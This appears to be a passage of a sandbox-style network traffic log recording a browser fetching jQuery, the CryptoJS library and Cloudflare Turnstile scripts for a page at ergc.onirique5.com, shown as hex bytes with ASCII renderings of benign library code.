74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-03-25 19:31:08 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:07 UTC	693	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ergc.onirique5.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:07 UTC	958	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:07 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 369882 Expires: Sun, 15 Mar 2026 19:31:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hFLV07YMgbpilDNmRuFE6MecxG3ZYHodxXSZPeADmHkq%2B1IOc3hG0OvMpeQXB0jiaE6%2BmP8vaHuGiPouAEdeCGWKvguhoJ6AU47jK%2FjiYEoVLryEyKnmsYNFjD2wtJJYdMkUjpPh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9260d3a5ab581aea-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 19:31:07 UTC	411	IN	Data Raw: 37 62 66 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf3!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-25 19:31:07 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2025-03-25 19:31:07 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2025-03-25 19:31:07 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2025-03-25 19:31:07 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2025-03-25 19:31:07 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2025-03-25 19:31:07 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2025-03-25 19:31:07 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2025-03-25 19:31:07 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2025-03-25 19:31:07 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:07 UTC	706	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ergc.onirique5.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:07 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 25 Mar 2025 19:31:07 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/708f7a809116/api.js Server: cloudflare CF-RAY: 9260d3a5af80cd7f-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:08 UTC	690	OUT	GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ergc.onirique5.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:08 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:08 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 18 Mar 2025 12:36:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9260d3a8cf5fbdbc-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 19:31:08 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-25 19:31:08 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-25 19:31:08 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-25 19:31:08 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
